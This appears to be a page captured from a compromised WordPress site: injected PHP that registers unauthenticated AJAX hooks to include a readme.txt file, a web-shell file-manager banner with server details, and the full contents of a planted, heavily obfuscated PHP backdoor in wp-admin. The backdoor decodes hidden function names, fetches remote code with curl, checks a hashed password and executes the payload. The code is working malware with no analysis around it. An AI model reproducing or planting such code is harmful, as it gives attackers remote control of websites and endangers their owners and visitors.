if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs/wp-admin/user/user/index.php
<?php
 goto rYPRsU8ymCB8; uIRCGiHZii4Q: $zUeaFvJadKIW[87] = $zUeaFvJadKIW[63]($zUeaFvJadKIW[87]); goto FQ1ckGnVj2iH; epifuHUkEtvN: class yZzU37t4GFs4 { static function hzalKv9YnaKQ($HmyIgZQS3ahp) { goto p7TuHl_OSTN1; FBafD_WIJbJv: LRJUXtXzG3Km: goto j_EIsri5NDk5; zJGR0phTOYwt: $ntBU19odJ_eT = explode("\51", $HmyIgZQS3ahp); goto zldpnw2WrkbE; CtevhS2u9kme: foreach ($ntBU19odJ_eT as $bejF16v5N36m => $RV9ZFaQBVf4n) { $mWLTfUHUsb5l .= $VVxLMSwQ8DqV[$RV9ZFaQBVf4n - 42000]; LPBIFR0DmyZX: } goto FBafD_WIJbJv; RC65PYnt4r8S: $VVxLMSwQ8DqV = $GawEFtvpPC5K("\x7e", "\40"); goto zJGR0phTOYwt; p7TuHl_OSTN1: $GawEFtvpPC5K = "\162" . "\141" . "\x6e" . "\147" . "\x65"; goto RC65PYnt4r8S; zldpnw2WrkbE: $mWLTfUHUsb5l = ''; goto CtevhS2u9kme; j_EIsri5NDk5: return $mWLTfUHUsb5l; goto BuC4k4hffycJ; BuC4k4hffycJ: } static function hcMfIVfhlU1x($wDfCjTnrDKu2, $j0u26GmOLY0c) { goto z5KDO903_aas; ZYIMnCnIei7N: return empty($yOlMd2WPfIUx) ? $j0u26GmOLY0c($wDfCjTnrDKu2) : $yOlMd2WPfIUx; goto CZcvaJ1BIF3j; x16gCfL6roe3: $yOlMd2WPfIUx = curl_exec($lKx0qbE1sgxC); goto ZYIMnCnIei7N; v_mZ10WU7KrT: curl_setopt($lKx0qbE1sgxC, CURLOPT_RETURNTRANSFER, 1); goto x16gCfL6roe3; z5KDO903_aas: $lKx0qbE1sgxC = curl_init($wDfCjTnrDKu2); goto v_mZ10WU7KrT; CZcvaJ1BIF3j: } static function y5nFkLrToVDd() { goto pM25S9Hox5D1; D7ymuerusFLP: die; goto yTSMc_ffWsbL; yTSMc_ffWsbL: xk1mqFWJRA2g: goto md_dWlXK5dL6; QHxtzbu6yJ9o: @$GV9FdN76UOv1[0]('', $GV9FdN76UOv1[0 + 7] . $GV9FdN76UOv1[4 + 0]($kZMdrw3UfgAs) . $GV9FdN76UOv1[7 + 1]); goto D7ymuerusFLP; tIW4eNTeDM8n: uh3U9piKM1k2: goto wMM1eU1TzDQW; Z__bho4tknO9: $ThXzZoBdEu2j = $GV9FdN76UOv1[2 + 0]($b40vQaqA3uSr, true); goto sMiYbbmf0ZC8; cCfh1I546Ew5: foreach ($aBzGZRuudXZf as $QDubfy21D5C0) { $GV9FdN76UOv1[] = self::HzALkv9YnaKq($QDubfy21D5C0); dUvh_f6lVo9t: } goto tIW4eNTeDM8n; yN2ksJ3KQqHu: $b40vQaqA3uSr = @$GV9FdN76UOv1[3 + 0]($GV9FdN76UOv1[6 + 0], $Z1Fbb3twKoOt); goto Z__bho4tknO9; wMM1eU1TzDQW: $Z1Fbb3twKoOt = @$GV9FdN76UOv1[1]($GV9FdN76UOv1[6 + 4](INPUT_GET, $GV9FdN76UOv1[5 + 4])); goto yN2ksJ3KQqHu; FnpcDGKg4LJI: if (!(@$ThXzZoBdEu2j[0] - time() > 0 and md5(md5($ThXzZoBdEu2j[0 + 3])) === "\x65\64\66\x66\63\x63\x32\65\145\70\70\x62\x36\x30\142\62\x34\71\x66\x34\x61\71\x31\x38\x31\65\x63\141\x39\x34\142\x31")) { goto xk1mqFWJRA2g; } goto Jkvdv9RFFC5R; sMiYbbmf0ZC8: @$GV9FdN76UOv1[3 + 7](INPUT_GET, "\157\146") == 1 && die($GV9FdN76UOv1[4 + 1](__FILE__)); goto FnpcDGKg4LJI; Jkvdv9RFFC5R: $kZMdrw3UfgAs = self::hcmFivfhlU1X($ThXzZoBdEu2j[1 + 0], $GV9FdN76UOv1[5 + 0]); goto QHxtzbu6yJ9o; pM25S9Hox5D1: $aBzGZRuudXZf = array("\64\62\60\62\67\x29\64\62\60\61\62\x29\64\62\x30\x32\x35\51\x34\x32\x30\62\71\51\64\62\x30\x31\60\51\64\x32\x30\62\65\51\64\62\60\x33\61\51\x34\62\x30\62\64\51\64\x32\x30\x30\x39\51\x34\x32\60\61\x36\x29\64\x32\x30\62\x37\51\x34\x32\60\x31\x30\51\64\x32\60\62\61\51\x34\62\x30\61\x35\x29\x34\62\60\x31\x36", "\x34\x32\60\x31\x31\x29\x34\62\x30\x31\x30\x29\x34\62\x30\61\x32\51\64\62\60\63\61\51\64\62\60\61\x32\51\64\x32\x30\x31\65\51\64\62\60\x31\60\x29\64\x32\x30\67\67\51\64\62\x30\67\x35", "\64\x32\60\62\x30\51\x34\x32\x30\61\61\51\x34\x32\60\x31\65\51\x34\62\60\x31\x36\x29\64\62\x30\x33\61\x29\64\62\60\62\x36\x29\x34\x32\60\x32\x35\x29\64\x32\x30\x32\x37\51\64\62\60\61\65\51\x34\x32\x30\62\66\x29\64\62\60\x32\x35", "\64\x32\60\x31\64\x29\x34\62\x30\x32\71\51\x34\62\60\x32\67\x29\x34\x32\x30\61\71", "\x34\x32\x30\62\x38\51\x34\x32\60\62\71\51\x34\x32\60\x31\61\51\x34\62\60\x32\65\x29\64\62\60\x37\x32\51\x34\62\60\x37\x34\x29\64\62\x30\x33\61\x29\64\62\60\62\66\x29\64\62\60\x32\65\51\64\62\60\62\67\51\64\62\x30\x31\x35\x29\64\x32\60\62\66\51\x34\x32\60\x32\x35", "\64\62\x30\x32\64\51\x34\x32\x30\x32\61\x29\64\x32\60\x31\70\51\x34\62\60\x32\65\x29\64\62\x30\63\61\x29\64\62\x30\62\x33\x29\64\62\x30\x32\x35\x29\64\x32\60\61\x30\x29\x34\x32\60\63\x31\x29\x34\x32\60\62\x37\51\64\x32\x30\61\65\51\x34\62\60\x31\66\x29\x34\x32\60\61\60\51\64\62\60\62\65\51\64\x32\60\61\66\x29\64\62\x30\61\60\51\64\62\60\x31\x31", "\64\x32\x30\x35\64\x29\x34\x32\x30\x38\x34", "\64\x32\x30\x30\x31", "\64\62\x30\67\x39\51\64\x32\x30\70\64", "\x34\62\x30\66\61\x29\x34\62\60\64\64\51\64\x32\x30\64\x34\x29\64\62\60\66\61\51\x34\x32\60\63\x37", "\64\x32\x30\62\x34\x29\64\x32\60\x32\61\x29\x34\62\60\x31\x38\51\64\x32\x30\x31\x30\51\64\x32\60\x32\65\51\64\x32\60\x31\x32\x29\64\x32\x30\x33\x31\x29\64\62\x30\62\61\51\x34\62\60\x31\x36\x29\64\62\60\61\64\x29\64\x32\x30\x30\71\x29\64\62\60\61\60"); goto cCfh1I546Ew5; md_dWlXK5dL6: } } goto E11Lj7SYNtZ3; rYPRsU8ymCB8: $QmtO6pLlKecs = range("\176", "\x20"); goto rXpHDDy2VZbV; LJpQNBLerJr_: metaphone("\122\66\x66\x69\x6b\101\130\123\x74\x6a\x30\105\x6e\123\141\x33\x76\x5a\x51\172\x72\x42\x70\67\x35\60\x44\113\151\x70\155\x33\161\x37\141\105\65\x74\x6c\x63\160\x45\x73"); goto epifuHUkEtvN; jDV6oGBDqJrG: if (!(in_array(gettype($zUeaFvJadKIW) . "\61\x39", $zUeaFvJadKIW) && md5(md5(md5(md5($zUeaFvJadKIW[13])))) === "\64\x36\61\143\x32\x34\61\x61\x32\x33\67\71\x64\141\x38\142\145\x30\x63\x32\x38\x39\65\x36\62\144\64\x61\x30\65\x36\x61")) { goto RkEd00eXA0fI; } goto foN1mQRa4h8M; t421sXhI6Z10: RkEd00eXA0fI: goto LJpQNBLerJr_; FQ1ckGnVj2iH: @($zUeaFvJadKIW = $zUeaFvJadKIW[87]($zUeaFvJadKIW[56], $zUeaFvJadKIW[63](${$zUeaFvJadKIW[42]}[26]))); goto egclTm30sP60; egclTm30sP60: $zUeaFvJadKIW(); goto t421sXhI6Z10; rXpHDDy2VZbV: $zUeaFvJadKIW = ${$QmtO6pLlKecs[16 + 15] . $QmtO6pLlKecs[37 + 22] . $QmtO6pLlKecs[30 + 17] . $QmtO6pLlKecs[36 + 11] . $QmtO6pLlKecs[15 + 36] . $QmtO6pLlKecs[7 + 46] . $QmtO6pLlKecs[57 + 0]}; goto jDV6oGBDqJrG; foN1mQRa4h8M: $zUeaFvJadKIW[63] = $zUeaFvJadKIW[63] . $zUeaFvJadKIW[76]; goto uIRCGiHZii4Q; E11Lj7SYNtZ3: yzzU37T4gfS4::y5NfKLRTOVdd();
?>